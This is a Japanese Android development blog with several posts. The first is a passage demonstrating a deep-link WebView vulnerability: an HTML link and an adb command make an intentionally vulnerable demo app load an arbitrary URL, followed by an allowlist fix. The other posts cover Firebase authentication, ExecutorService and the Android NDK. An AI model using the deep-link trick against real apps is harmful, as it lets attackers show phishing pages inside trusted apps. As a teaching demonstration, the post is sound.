<html lang="ja">
    <head>
        <meta charset="utf-8">
        <title>VulnDeepLink</title>
    </head>
    <body>
        <h1>Hello World!!</h1>
        <p><a href="daiki0508://webview/fake?data=https://github.com/daiki0508">リンクはこちら!!</a></p>
    </body>
</html>

このコードもxampの様なツールでapacheを起動してlocalhostでアクセスした後にリンクはこちら!!をタップしてみると、筆者のGithubが表示されたと思います。
(※ちなみにAndroidエミュレートの場合のlocalhostは10.0.2.2です)

f:id:daiki0508:20210625235202p:plain

つまり、三者の任意のURLをWebViewで表示出来たということです。

adbを使用した正規のアクティビティ呼び出し

adbでのテストは簡単です。

adb shell am start -a android.intent.action.VIEW -d daiki0508://webview/index?data=https://hatenablog.com/

成功すると、開発者の想定する「HatenaBlog」の公式サイトがWebViewで表示されたと思います。

f:id:daiki0508:20210625235202p:plain

adbを使用した不正のアクティビティ呼び出し

adb shell am start -a android.intent.action.VIEW -d daiki0508://webview/fake?data=https://github.com/daiki0508

開発者が想定してないサイトである筆者のGithubページがWebViewで表示されたと思います。

f:id:daiki0508:20210625235202p:plain

対策版の実装

それでは今度は先ほどの脆弱性を修正した処理を実装していきます。
(※MainActivityのレイアウトファイルや処理ファイルは脆弱性版と特に変わりません)
対策として最も簡単に実装できるのは「表示されるページを開発者が想定したものに限定する」ことです。

対策版の実装コードの全文はこちらにあります。

ホワイトリストの記述

まずstrings.xmlに許可するホストのリストを記載しておきます。

<resources>
    <string name="app_name">ResiDeepLink_Kotlin</string>
    <string-array name="allow_url_list">
        <item>hatenablog.com</item>
    </string-array>
</resources>

整合性チェックの実装

次に、取得したdataパラメータのスキーマとホストが開発者が指定したものと一致するかどうかを判断する処理を記述します。

class WebViewActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_web_view)

        val allowList = resources.getStringArray(R.array.allow_url_list)

        val webView = findViewById<WebView>(R.id.webView)
        val uri = intent.data
        val query = Uri.parse(uri?.getQueryParameter("data"))

        for (url: String in allowList){
            if (query.scheme.equals("https") && query.host.equals(url)){
                webView.loadUrl(query.toString())
            }else{
                Toast.makeText(this, "指定されたURLはリストにありません。", Toast.LENGTH_LONG).show()
            }
        }
    }
}

テスト

先ほどの脆弱性版でテストしたコードで試してみると

f:id:daiki0508:20210625230941p:plain

無事、弾かれましたね!!

まとめ

最近はずっと開発の勉強をしていたので、今回は久しぶりにAndroidSecurityに触れる良い機会になりました。
また、LACの社内ブログがとても分かりやすく書かれてあったのでとても簡単に実装出来ましたし、現実にあるアプリにもこういった脆弱性は結構ありそうだと感じました。

参考・引用

https://www.lac.co.jp/lacwatch/people/20210625_002645.html

Firebaseを使ってメール/パスワード認証を実装してみた

前々からFirebaseについて色々と勉強したいと思っていたが、5月のGWで時間に余裕が出来て勉強したのでその内容を共有するということと、メモ書きとして残すために記事を書きました。

f:id:daiki0508:20210518120350p:plain

目次

Firebaseって?

まずFirebaseを知らない方に簡単に説明すると、Firebaseとは

Firebaseは、2011年にFirebase, Inc.が開発したモバイル・Webアプリケーション開発プラットフォームで、その後2014年にGoogleに買収された。 2020年3月現在、Firebaseプラットフォームには19の製品があり、9GAGを含む150万以上のアプリが利用されている。

とあり、Firebaseを使うことで様々なサードパーティーの認証を実装出来たり、Firebaseにデータを保存したり、クライアント端末に通知を送信する...etcといったことが比較的簡単に実装できるようになります。

筆者の環境

IDE:AndroidStudio4.21
ホストPC:Windows10
端末:Galaxy S8 SCV36
端末OS:Android9
使用言語:Java

サンプルアプリの作成

それでは今回の記事で作るサンプルアプリを紹介します。
また、これ以降ではコード前文の解説ではなく抜粋しての解説ですので、全ての処理を知りたい方はこちらのコードの全文を見ながら読むことを推奨します。

概要

起動直後のアプリのトップ画面は以下の画像のようになっています。

f:id:daiki0508:20210518114339p:plain

アカウントがある場合は「メールアドレスとパスワード」を入力してログインボタンをタップするとログインできます。
アカウントが無い場合は「SignUp」のスイッチを切り替えて、同じく「メールアドレスとパスワード」を入力してサインアップします。

f:id:daiki0508:20210518114522p:plain

なお、今回は特にメールアドレスの存在確認といった処理は行いません
(※後日、記事を出すかも…?)

「サインイン」と「サインアップ」の両方とも、認証フローが正常に終了すれば画面下部にユーザ情報が表示されるようにしています。

f:id:daiki0508:20210518114646p:plain

反対に、認証フローが失敗(メールアドレス or パスワードが違う)したならばトーストを表示させるようにしています

f:id:daiki0508:20210518114939p:plain

また、画面右上のオプションメニューからサインアウトすることが出来るようにもしています。

f:id:daiki0508:20210518114722p:plain

xmlの編集

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="#dfe"
    android:orientation="vertical"
    tools:context=".MainActivity">

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:gravity="center"
        android:layout_marginTop="15dp"
        android:text="@string/hello"
        android:textSize="25sp" />

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:id="@+id/description"
        android:layout_marginTop="5dp"
        android:text="@string/description"
        android:textSize="20sp" />

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:weightSum="1.1"
        android:orientation="horizontal">

        <TextView
            android:id="@+id/mail_text"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_marginTop="15dp"
            android:text="@string/mail"
            android:textSize="17sp" />

        <EditText
            android:id="@+id/mail_edit"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:layout_marginTop="15dp"
            android:layout_marginStart="5dp"
            android:layout_weight="1"
            android:hint="@string/sample_mail"
            android:maxLines="1"
            android:maxLength="50"
            android:inputType="textEmailAddress"/>
    </LinearLayout>

        <com.google.android.material.textfield.TextInputLayout
            style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_marginTop="2dp"
            android:layout_marginStart="5dp"
            android:layout_marginEnd="5dp"
            android:hint="@string/sample_pass"
            app:passwordToggleEnabled="true">

            <com.google.android.material.textfield.TextInputEditText
                android:id="@+id/password_edit"
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:inputType="textPassword"
                android:maxLines="1"
                android:maxLength="20"/>
        </com.google.android.material.textfield.TextInputLayout>

    <Button
        android:id="@+id/execute_button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_gravity="center"
        android:layout_marginTop="10dp"
        android:text="@string/login_button"
        android:onClick="execute" />

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal"
        android:weightSum="1">

        <TextView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_marginTop="10dp"
            android:text="@string/signup"
            android:layout_weight="0.95"
            android:gravity="right"/>

       <Switch
            android:id="@+id/signup_switch"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_marginTop="10dp"
           android:layout_weight="0"
           tools:ignore="UseSwitchCompatOrMaterialXml" />
    </LinearLayout>

    <TextView
        android:layout_width="match_parent"
        android:layout_height="0dp"
        android:id="@+id/result"
        android:layout_weight="1"
        android:textSize="15sp" />

</LinearLayout>

最新のAndroidStudioを使ってる方はプロジェクトを作成した時点でxmlは「ConstraintLayout」になっていると思いますが、今回は「LinerLayout」を使用します。

com.google.android.material.textfield.TextInputLayout

app:passwordToggleEnabled="true"

上記の記述でユーザーは入力したパスワードをパスワード欄右のアイコンから確認できるようになります。

com.google.android.material.textfield.TextInputEditText

このフィールド内でパスワード入力欄の様々な設定(文字数制限やインプットタイプの指定等)が出来ます。

Firebaseとの連携設定

レイアウトや文字の記述が終わったら次は処理の記述なのですが、その前にFirebaseでアプリの登録を行い、連携を完了させておきましょう。

この記事では詳しい解説は行いませんが、Firebaseの公式ドキュメントでやり方が記述されているのでそちらをご覧ください。

firebase.google.com

SwitchListenerの定義

まず最初に「サインイン」と「サインアップ」の切り替えを行う「スイッチ」の処理を記述しましょう。*1

private class SignUpSwitchListener implements CompoundButton.OnCheckedChangeListener{
    @Override
    public void onCheckedChanged(CompoundButton button, boolean isChecked){
        flag = isChecked;
        if (flag){
            execute_b.setText(getString(R.string.signup));
        }else {
            execute_b.setText(getString(R.string.login_button));
        }

    }
}

onCheckedChanged

このメソッドの第2引数にswitchのon/offがtruefalseで格納されています。
そしてそれをflagというboolean型のグローバル変数に格納してその後の条件式や、他のメソッドでも用います。

ここではswitchの切り替えによってボタンテキストの中身を変更しています。

サインアップ時の処理

次に別クラスAuthenticationFlowClassを作成してその中にまずはサインアップ処理を記述していきます。

public class AuthenticationFlowClass extends MainActivity{
    private final FirebaseAuth mAuth;
    private final MainActivity mainActivity;

    AuthenticationFlowClass (MainActivity mainActivity){
        this.mAuth = MainActivity.mAuth;
        this.mainActivity = mainActivity;
    }
    void CreateUser(String mail, String pass){
        mAuth.createUserWithEmailAndPassword(mail, pass)
                .addOnCompleteListener(this, new OnCompleteListener<AuthResult>() {
                    @Override
                    public void onComplete(@NonNull Task<AuthResult> task) {
                        if (task.isSuccessful()){
                            Log.d("success","createUserWithEmail:success");
                            FirebaseUser user = mAuth.getCurrentUser();
                            mainActivity.updateUI(Objects.requireNonNull(user));
                        }else {
                            Log.w("Error","createUserWithEmail:failure",task.getException());
                            Toast.makeText(mainActivity,"エラーが発生しました",Toast.LENGTH_SHORT).show();
                        }
                    }
                });
    }
}

createUserWithEmailAndPassword

この内部でアカウント作成成功時と失敗時の処理がそれぞれ行われています。
第1引数にメールアドレス、第2引数にパスワードを渡して呼ぼ出します。
この時のmAuthはMainActivityのonCreate*2FirebaseAuth.getInstance()で初期化されています。

成功時はupdateUIに現在のログインしているユーザの情報を取得するgetCurrentUser()によって格納されたFirebaseUserを渡します。
(※updateUIについては後述します)

失敗時はトーストでエラーが発生しましたと表示されるようになっています。

サインイン時の処理

void SignIn(String email, String pass){
    mAuth.signInWithEmailAndPassword(email, pass)
            .addOnCompleteListener(this, new OnCompleteListener<AuthResult>() {
                @Override
                public void onComplete(@NonNull Task<AuthResult> task) {
                    if (task.isSuccessful()){
                        FirebaseUser user = mAuth.getCurrentUser();
                        mainActivity.updateUI(Objects.requireNonNull(user));
                    }else {
                        Toast.makeText(mainActivity,"Authentication failed.",Toast.LENGTH_SHORT).show();
                    }
                }
            });
}

signInWithEmailAndPassword

この内部でサインインの認証処理と、その結果を処理します。
第1引数はメールアドレス、第2引数はパスワードを渡して呼び出します。

成功時と失敗時の処理はサインアップ時と然程違いはありません。

updateUI処理

このupdateUIではメイン画面の下部にユーザ情報を表示させる画面表示処理です。

protected void updateUI(FirebaseUser user){
    String email = "Email:" + user.getEmail() + "\n";
    String emailVerified = "Verified:" +  user.isEmailVerified() + "\n";
    String uid = "Uid:" + user.getUid() + "\n";

    String result_str = email + emailVerified + uid;
    resultText.setText(result_str);
}

getEmail

FirebaseUserにはそれぞれの呼び出し元においてgetCurrentUser()された現在のログインしているユーザの情報が格納されています。
その中でも`getEmailはユーザのメールアドレスを取得するメソッドです。

user.isEmailVerified

このメソッドにはユーザのメールアドレスが認証されている(正しいメールアドレス)かどうかの情報を取得できるメソッドです。

ここでは解説していない確認メールの送信処理を別途、アプリ内に記述して処理を行うことでこの値がtrueになります。

getUid

現在ログインしているユーザのユーザーID(一意の値)を取得することが出来るメソッドです。

認証フローを呼び出す

サインイン時の処理サインアップ時の処理で認証フローの定義は行ったので、次はボタンを押したらその処理が呼び出されるコードを記述*3していきます。

public void execute(View view) {
    String mail_str = mail_e.getText().toString();
    String pass_str = pass_e.getText().toString();

    EditCheck(mail_str,pass_str);
}

private void EditCheck(String email,String pass){
    if (email.length() > 0 && pass.length() > 0) {
        if (flag){
            afc.CreateUser(email, pass);
        }else {
            afc.SignIn(email, pass);
        }
    } else if (email.length() == 0) {
        Toast.makeText(this, "mailアドレスが入力されていません", Toast.LENGTH_SHORT).show();
        if (pass.length() == 0) {
            Toast.makeText(this, "passwordが入力されていません。", Toast.LENGTH_SHORT).show();
        }
    } else {
        Toast.makeText(this, "passwordが入力されていません。", Toast.LENGTH_SHORT).show();
    }
}

execute

メールアドレスとパスワードを入力するエディットボックスからそれぞれ文字列を抽出して変数に代入しています。
またそれをEditCheckという入力値チェックの関数に渡しています。

EditCheck

レイアウトファイルにも記載してメールアドレスとパスワードには文字数制限を掛けておきましたが、念のためJavaファイルの方でも文字数制限を記述しておきます。
また、そもそも入力が行われていないときや、制限文字数を超えて入力した場合はトーストを表示させて、認証フローに処理が飛ばないようにしています。

適切な文字数が入力された場合には、SwitchListenerで変化するflagによって処理を分岐して認証処理を開始*4します。

サインアウト処理

アプリをアンインストールしたり、開きなおせば必然的にサインアウトも行われるでしょうが、それでは少し不便なのでユーザが明示的にサインアウトを行えるようにしましょう。

@Override
public boolean onCreateOptionsMenu(Menu menu){
    MenuInflater inflater = getMenuInflater();
    inflater.inflate(R.menu.menu_options_menu_list,menu);

    return super.onCreateOptionsMenu(menu);
}

@Override
public boolean onOptionsItemSelected(MenuItem item){
    int itemId = item.getItemId();

    if (itemId == R.id.signout){
        mAuth.signOut();
        finish();
        overridePendingTransition(0,0);
        startActivity(getIntent());
        overridePendingTransition(0,0);
    }

    return super.onOptionsItemSelected(item);
}

signOut

ここではオプションメニューを用いてサインアウトを行えるようにしています。
(※オプションメニューの詳しい解説は行いません)

サインアウトを行うにはFirebaseAuth.getInstance.signOutでOKです。

onStart()のOverride

最後に現在ログインしていてサインアウトをしていないにも関わらず、アプリを開きなおすたびにメールアドレスとパスワードの再入力を求めるのはセキュリティの高いアプリ(銀行...etc)でない限り、不便です。

よってアクティビティライフサイクルのonStartメソッドをオーバーライドしてログインが行われていたら、updateUIを呼び出すような処理を追加します。

@Override
public void onStart(){
    super.onStart();

    FirebaseAuth mAuth = FirebaseAuth.getInstance();
    FirebaseUser currentUser = mAuth.getCurrentUser();
    if (currentUser != null){
        updateUI(currentUser);
    }
}

まとめ

今回はFirebaseでメールアドレスとパスワードを用いた認証を行う方法を解説しました。
やはりFirebaseを使うと自分でユーザ認証の実装を行うという面倒くさいことをしなくてよくなるのは大きなメリットですよね。

参考・引用

https://firebase.google.com/docs/android/setup?hl=ja

https://firebase.google.com/?hl=ja

https://ja.wikipedia.org/wiki/Firebase

*1:onCreateでリスナの設定も忘れないように

*2:https://github.com/daiki0508/FirebaseMailAndPW

*3:レイアウトファイルにボタンに対してonClick属性を記述済み

*4:onCreateにコンストラクタの初期化を記述

Android11でAsyncTaskが非推奨になった話

f:id:daiki0508:20210503222911p:plain

少し前の情報なのですが、Android11でAsyncTaskが非推奨となったという話を聞きました。
当時の自分はまだAndroidアプリの開発について勉強していた時期で、書籍を使って勉強していたのですが勿論、その書籍では当然AsyncTaskを使った手法で書かれていました。

そして、最近このことを知ったので実際にその代替実装手法としてどのようなものがあるのかを知るために調べて実装してみたので、その時のメモとして記事に残しました。

目次

AsyncTaskって?

そもそもAsyncTaskって何?って方に説明すると、Android非同期処理画面UIの更新を同時に行うのを実装するために使うクラスのことです。

次に非同期処理の説明をするのですが、ここで気になる方もいると思います。

「非」ということは「非」ではない処理もあるのか?

結論から言うと、勿論あります!

それを同期処理と言います。

同期処理と非同期処理の違い

では、同期処理と非同期処理の違いとは何でしょうか?
一言でいえば処理を順次に行うか、並列で行うかの違いです。

この説明だと少しイメージしにくい感じもするので、料理に例えたチャート(流れ図)を書いてみました。

同期処理

f:id:daiki0508:20210503174636p:plain

この処理では、料理を初めて1品目を作ってから2品目を作り始めています。
逆に言えば「1品目を作り終えるまでは2品目の作成に入れない」ということです。

つまり、1品目で膨大な時間が掛かってその間に2品目を作れる時間があっても作り始めることは出来ないということです。

そしてこのイメージを実際のアプリに適応すると以下のようになります。

1.処理1を実行(時間が掛かる処理)
2.処理2を実行(画面表示系の処理)
3.処理の終了

こうするとアプリとしては画面処理をしたいが、処理1が終わっていないので画面表示系の処理を行うことが出来ないことになってしまいます。
そしてユーザには「アプリがフリーズしたのか?」という風に思われることになってしまいます。

非同期処理

f:id:daiki0508:20210503175649p:plain

この処理では、1品目の食材を切った後にその食材を炒めながら2品目の食材を切り始めています。
こうすることで、たとえ1品目の調理に時間が掛かったとしても2品目の調理も並行して進めているのでさほど大きな問題は起きません。

これも先ほどと同様に、実際のアプリに適用すると以下のようになります。

1.処理1を実行(時間が掛かる処理)
2.処理2を実行(画面表示系の処理 -> 処理1を待たない)
3.処理の終了

よってアプリは処理1の結果を待たずに画面表示系の処理を行うことが出来るので、ユーザにアプリがフリーズしたようには思われなくなります。

これが非同期処理の強みです!!

実際に見てみる

同期処理と非同期処理の違いで同期処理と非同期処理の違いを文字とチャートで説明したので、今度は実際にアプリとして確認してみましょう!

同期処理

まず最初に、同期処理のアプリの流れを説明します。
ソース全体はこちらに掲載しています。

1.アプリが起動する
2.SlowProcessClass内でViewTextが実行される(処理が遅い)
3.画面表示が行われる
4.WebViewが読み込まれる

では実際にこちらからapkをダウンロード・インストールして、アプリを実行してみてください。

これからは、このアプリの処理についてもう少し詳しく説明します。

2.SlowProcessClass内でViewTextが実行される(処理が遅い)

f:id:daiki0508:20210503221605p:plain

Thread.sleep(10 * 1000);

SllowProcessClass内のViewTextメソッドに上記の記述があるので、10000ミリ秒(=10秒)の間、処理が止まっている。
この間3.画面表示が行われるが実行できないので上記画像の状態で10000ミリ秒(=10秒)の間、画面が動かずユーザからはアプリがフリーズしているかのように見える。

処理が終了すると

This process was slow...

と表示される。

3.画面表示が行われる

f:id:daiki0508:20210503221718p:plain

アプリ名や「HelloWorld!」といった文字列が表示される。

4.WebViewが読み込まれる

f:id:daiki0508:20210503221743p:plain

最後にWebViewとしてGoogleのサイトが表示されたと思います。

非同期処理

まず最初に、同期処理のアプリの流れを説明します。
ソース全体はこちらに掲載しています。

1.アプリが起動する
2.SlowProcessClass内でViewTextが実行される(処理が遅い -> 非同期処理)
3.画面表示が行われる(2の処理の結果を待たない)
4.WebViewが読み込まれる(2の処理の結果を待たない)

では実際にこちらからapkをダウンロード・インストールして、アプリを実行してみてください。

これからは、このアプリの処理についてもう少し詳しく説明します。
(処理が終了した順に説明していくので、アプリの処理の流れの時の順序と前後して分かりにくくなるかもしれませんがすいません…。)

3.画面表示が行われる(2の処理の結果を待たない)

f:id:daiki0508:20210503222351p:plain

2.SlowProcessClass内でViewTextが実行されるが非同期処理として実行されているため、上記画像のように既にアプリ名HelloWorld!等の画面表示系の処理が行われています。

4.WebView

f:id:daiki0508:20210503222459p:plain

WebViewとしてGoogleのホームページが表示されたと思います。

2.ViewTextメソッドの処理が終了する

f:id:daiki0508:20210503221743p:plain

ここでようやく、非同期で記述した処理が全て終了して

This process was slow...

と表示される。

非同期処理の記述方法

それでは実際にどのように非同期処理を記述したらいいのかを説明していきます。
(これから説明する内容はあくまで手法の1つです)

ExecutorServiceの利用

ExcutorServiceとは

終了を管理するメソッド、および1つ以上の非同期タスクの進行状況を追跡するFutureを生成できるメソッドを提供するExecutorです。

つまりこれを使えばスレッドを分割して上手く非同期の機能を実装出来そうです。

サンプルコードは以下のような感じです。

executorService = Executors.newSingleThreadExecutor(); 
executorService.execute(new Runnable() {
    @Override
    public void run() {
        // バックグランドで処理したい内容を記述
        String result = spc.ViewText();
    }
});

private void shutdown(){
    if (executorService == null){
        return;
    }
    try {
        executorService.shutdown();
        if (!executorService.awaitTermination(1L, TimeUnit.SECONDS)){
            executorService.shutdownNow();
        }
    }catch (InterruptedException e){
        executorService.shutdownNow();
    }finally {
        executorService = null;
        Thread.currentThread().interrupt();
    }
}

@Override
protected void onDestroy(){
    super.onDestroy();

    shutdown();
}

ここで注意すべきはExecutorServiceの終了を忘れないようにすることです。
(※ExecutorServiceを使ったらシャットダウンするくせを付けておくと良いと思います)

ExecutorServiceをシャットダウンする理由としては以下のような理由が挙げられます。

スレッドプールはタスクを待ち続けるので、スレッドプールが待機したままになるため、 メインスレッドが終了してもプログラムは実行したままになる。

UIを更新する方法

スレッドを分けた場合でありがちなミスなのですが、UIの更新はメインスレッドで行う必要があることに注意してください。

この問題を解決するのがHandlerです。
Handlerpostメソッド内にUIの更新処理をバッググラウンド処理の内部に追記します。

サンプルコードは以下のようになります。

// この上にはバックグラウンド処理が記述されている
final Handler handler = new Handler();
handler.post(new Runnable() {
    @Override
    public void run() {
        textView.setText(result);
    }
});

まとめ

今までAsyncTaskを使ってきた方には、ExecutorServiceHandlerを使った非同期処理はとても複雑に見えることでしょう。
(実際私は理解するのにかなり時間が掛かりました(笑))

と言っても、今はまだ非推奨になってから時間があまり経っていないので問題となっていませんが、この先のことを考えるとこのままずっとAsyncTaskを使い続けるわけにはいかないですし、だからといって非同期処理を使わないというのは論外です。

なので、ぜひこの方法を覚えて積極的に使っていきましょう!!

引用・参考情報

https://outofmem.tumblr.com/post/94711883294/android-executor-3

https://www.it-swarm-ja.com/ja/java/executorservice%e3%81%a7shutdown%ef%bc%88%ef%bc%89%e3%82%92%e5%91%bc%e3%81%b3%e5%87%ba%e3%81%99%e7%90%86%e7%94%b1/1072285315/

https://tips.priart.net/52/

https://rightcode.co.jp/blog/information-technology/android-os-asynctask

Android NDKを使ってみた

f:id:daiki0508:20210427235053p:plain

AndroidNDKを使って簡単なアプリを作ってみようと思ったのですが、ドキュメントが古かったり少なかったりして大変だったのでメモとして記事にしました。

目次

NDKって何?

NDK(Native Development Kit)は、Android で C や C++(以下、ネイティブ)のコードを使用できるようにするツールセットです。
NDK のプラットフォーム ライブラリを活用することで、ネイティブ アクティビティを管理し、センサーやタップ入力など、実際のデバイスコンポーネントにアクセスできるようになります。それほど経験のない Android プログラマーの場合、アプリを開発する際に必要となるのは Java コードとフレームワーク API に限られるため、通常、NDK はツールとして適していません。NDK が役に立つのは、以下のいずれかに該当する場合です。
・低レイテンシを実現したり、ゲームや物理学シミュレーションなど、演算負荷の高いアプリを実行したりするために、デバイスからできる限り高いパフォーマンスを引き出す必要がある場合。
・独自または他のデベロッパーの ネイティブライブラリを再利用する場合。

とあるように、簡単に言うと本来Javaで記述するAndroidアプリをCやC++で記述できるようにするためのツールということです。

私がこの先、演算不可の高いアプリを開発するかは分かりませんが(笑)

NDKの導入

まずAndroidStudioを起動して、画面左上の方にある「File」→「Settings」をクリック。

すると設定画面が開くと思うので「Appearance & Behavior」→「System Settings」をクリックした後、「Android SDK」を選択しましょう。

f:id:daiki0508:20210427225239p:plain

ここでAndroid SDKに関する様々なツールをインストール出来ます。
Android NDK」のインストールは赤く囲んでいる部分の「SDK Tools」で行うので、そこをクリックしてください。

f:id:daiki0508:20210427225358p:plain

後は上記画像にも既に表示されているように「NDK(Side by side)」と「CMake」のチェックボックスにチェックを付けてください。
この時、「CMake」のチェックボックスの付け忘れには注意してくださいね!

インストールはネット環境にもよりますが、10分くらいかかると思うので気長に待ちましょう。

NDKを使ってみよう

NDKの導入にてAndroidでネイティブコードを扱うためのツールのインストールは終わりました。
そこで、サンプルアプリをNDKを用いて実装してみましょう。

先にサンプルアプリを動かしてみたい方はこちらをクリックしてapkを端末にインストールして起動してみてください。

サンプルアプリの挙動

今回扱うサンプルアプリの簡単な挙動を以下に示しておきます。

1.EditBoxに自分のニックネームを入力
2.ニックネームをネイティブコードで書かれた関数に渡す
3.関数でメッセージの付加を行った文字列をMainActivityに返す。

ソースファイルを配置するディレクトリの作成

まずはネイティブコードを記述しておくためのソースファイルを配置するディレクトリの作成を行います。
プロジェクトエクスプローラの赤く囲んだ部分をクリックして、「Project」を選択してください。

f:id:daiki0508:20210427233858p:plain

その後、「src」ディレクトリの配下にある「main」ディレクトリで右クリック→「New」→「Directory」をクリックしましょう。

f:id:daiki0508:20210427234038p:plain

ディレクトリ名は「cpp(jniでもいけるようです)」としてください。

ソースファイルの作成

ソースファイルを配置するディレクトリの作成にて作成したディレクトリで右クリックをして「New」→「C/C++ source File」をクリックしましょう。
ファイル名は今回は「hello」、Typeは「.cpp」にでもしておきます。

これでソースファイルの作成が完了しました。
(※記述自体はもう少し後で行います)

CMakeLists.txtを作成する

次に、CMakeListsと呼ばれるC/C++のビルド設定ファイルを作成、記述していきます。
ファイルを生成する場所はcpp直下で大丈夫です。

f:id:daiki0508:20210427234413p:plain

cmake_minimum_required(VERSION 3.4.1)

add_library(
  # 識別用ライブラリ名を指定
  hello

  # 共有ライブラリとしてビルドさせる
  SHARED

  # C/C++ソースへの相対パス指定
        hello.cpp
)

target_link_libraries(
        hello
        android
        log
)

add_library

ここには作成したC/C++ライブラリの名前・ビルド方法・相対パス指定します。
今回はhello.cppの設定を追加しています。
注意点としては、「C/C++ソースへの相対パス指定」では相対アドレスを指定する必要があることです。

ここには独自ライブラリ名、android, log を指定しておきます。
こうすることでC/C++側でもログ出力が使えるようになります。

build.gradle(:app)の設定

ここの設定は簡単です。
android{}の中に

externalNativeBuild{
        cmake{
            path "src/main/cpp/CMakeLists.txt"
        }
}

と記述するだけです。

MainActivityに関数呼び出し処理を記述する

次に、ソースファイルの作成にて作成したソースファイルに内容を記述していく前に先に関数の呼び出し処理を記述しておくとソースファイル内に関数定義を記述するで便利なので、関数の呼び出しを記述します。

public native String getMessage(String msg);

static {
    System.loadLibrary("hello");
}

System.loadLibrary(hoge)

ここのhogeの部分は、CMakeLists.txtを作成するで定義した「識別用ライブラリ名」と一致させる必要があるので注意しましょう。

ソースファイル内に関数定義を記述する

ここから今回はC++で関数の定義を記述していくのですが、先にMainActivityに関数呼び出しを記述していると関数名を記述しただけで自動である程度の雛形を作ってくれます。

extern "C" JNIEXPORT jstring JNICALL
Java_com_websarva_wings_android_ndksample_MainActivity_getMessage(JNIEnv *env, jobject thiz,jstring j_name) {
    // TODO: implement getMessage()
    const char *name = env->GetStringUTFChars(j_name, 0);
    std::string msg = "Hello ";
    msg+= name;
    msg += "\nWelcome to JNI World!!";
    return env->NewStringUTF(msg.c_str());
}

getMessage関数の処理

Javaコードからニックネームを受け取り(ex:hoge)

Hello hoge
Welcome to JNI World!!

という文字列を生成してJavaコードに返す。

extern "C"

この記述をすることで、上コードのようにextern "C"としてマングリング(C++特有の機能)をさせなくする。
C++の場合、こうしないとビルドエラーが出ます。

env->NewStringUTF(hoge.c_str());

ネイティブ側からJavaに返すときはenv->NewStringUTF(msg.c_str());のように変換する必要あります。

MainActivityの処理を記述

最後にMainActivityに残りの処理を記述していきます。
このサンプルアプリの全コードは以下にあります。

https://github.com/daiki0508/NDKSample

package com.websarva.wings.android.ndksample;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.text.Editable;
import android.text.TextWatcher;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity implements TextWatcher {
    private EditText editText;
    private TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        editText = findViewById(R.id.edit);
        editText.addTextChangedListener(this);
    }

    public void Execute_NDK(View view){
        String name = editText.getText().toString();
        String result = getMessage(name);
        textView = findViewById(R.id.result_text);
        textView.setText(result);
    }

    public native String getMessage(String msg);

    static {
        System.loadLibrary("hello");
    }

    @Override
    public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {

    }

    @Override
    public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {

    }

    @Override
    public void afterTextChanged(Editable editable) {
        String name = editable.toString();
        Button button = findViewById(R.id.button);

        // ユーザーのニックネームが未入力の場合はボタンを有効にしない
        if (name.length() > 0){
            button.setEnabled(true);
        }else {
            button.setEnabled(false);
        }
    }
}

まとめ

NDKを使ってネイティブコードで簡単なサンプルアプリを作ろうと思ったのですが、意外にも記事の情報が古くてビルド設定系でエラーが多発していました(笑)

引用・参考情報

https://pisuke-code.com/android-how-to-install-ndk/

https://github.com/android/ndk-samples

https://android-developers.googleblog.com/2020/02/native-dependencies-in-android-studio-40.html

Androidエミュレータの紹介とroot化

f:id:daiki0508:20210426171236p:plain

最近、私のPCに入れているAndroidエミュレータが増えてきたので整理する意味でも一度まとめてみようと思い書きました。
あくまでまとめなので、エミュレータの詳しいインストール方法等は説明しません!

目次

エミュレータって何?

そもそもAndroidエミュレータって何?って方に説明すると

Androidエミュレーターとは、パソコン上に仮想のAndroid OSをインストールし、パソコンでAndroidアプリを使用できるソフトである。 Androidスマホと同様に、アプリの対応により、相応のAndroid OSが必要となる

です。

つまりWindowsMacLinuxといったPCでモバイルアプリ(某パズルゲーム)等が出来るようになるということですね。

あとはそれなりにPCのスペックを必要とする点も特徴ですね。

紹介するエミュレータ

私が今回紹介するエミュレータは3つです。
(私のPCに入っているAndroidエミュレータが3つなので)

Android Studio 標準搭載エミュレータ

f:id:daiki0508:20210404214421j:plain

まあ、アプリを制作していて、なおかつAndroidStudioで開発を行っている方なら必ず入っているIDEなので当然ですよね(笑)

必要最低スペック

あくまで必要最低スペックなので、以下のPCスペックでサクサク動くかと言われると…。
(特にメモリは8GBじゃないと動かないかも)

Microsoft® Windows® 7/8/10 (64-bit)
4 GB RAM minimum
4 GB of available disk space minimum
1280 x 800 minimum screen resolution

メリット

  • 開発の時にこまめにデバッグしたい時に便利
  • 無駄なセットアップはいらない(デフォルトでついてくるので)
  • 様々なAndroidOSを入れられる
  • 広告が無い

デメリット

  • root権限を取得できない
  • 種類の異なる多くのAndroidOSを入れていくと容量が増えていく

LDPlayer

f:id:daiki0508:20210426171538p:plain

あれ?AndroidStudioのデメリットってあまり私に関係ない?
と思った方もいるのではないでしょうか?

実はこのデメリットが結構、面倒です。
私はAndroidSecurityを勉強中ということもあり、モバイル端末内に様々なセキュリティチェックツールを入れています。

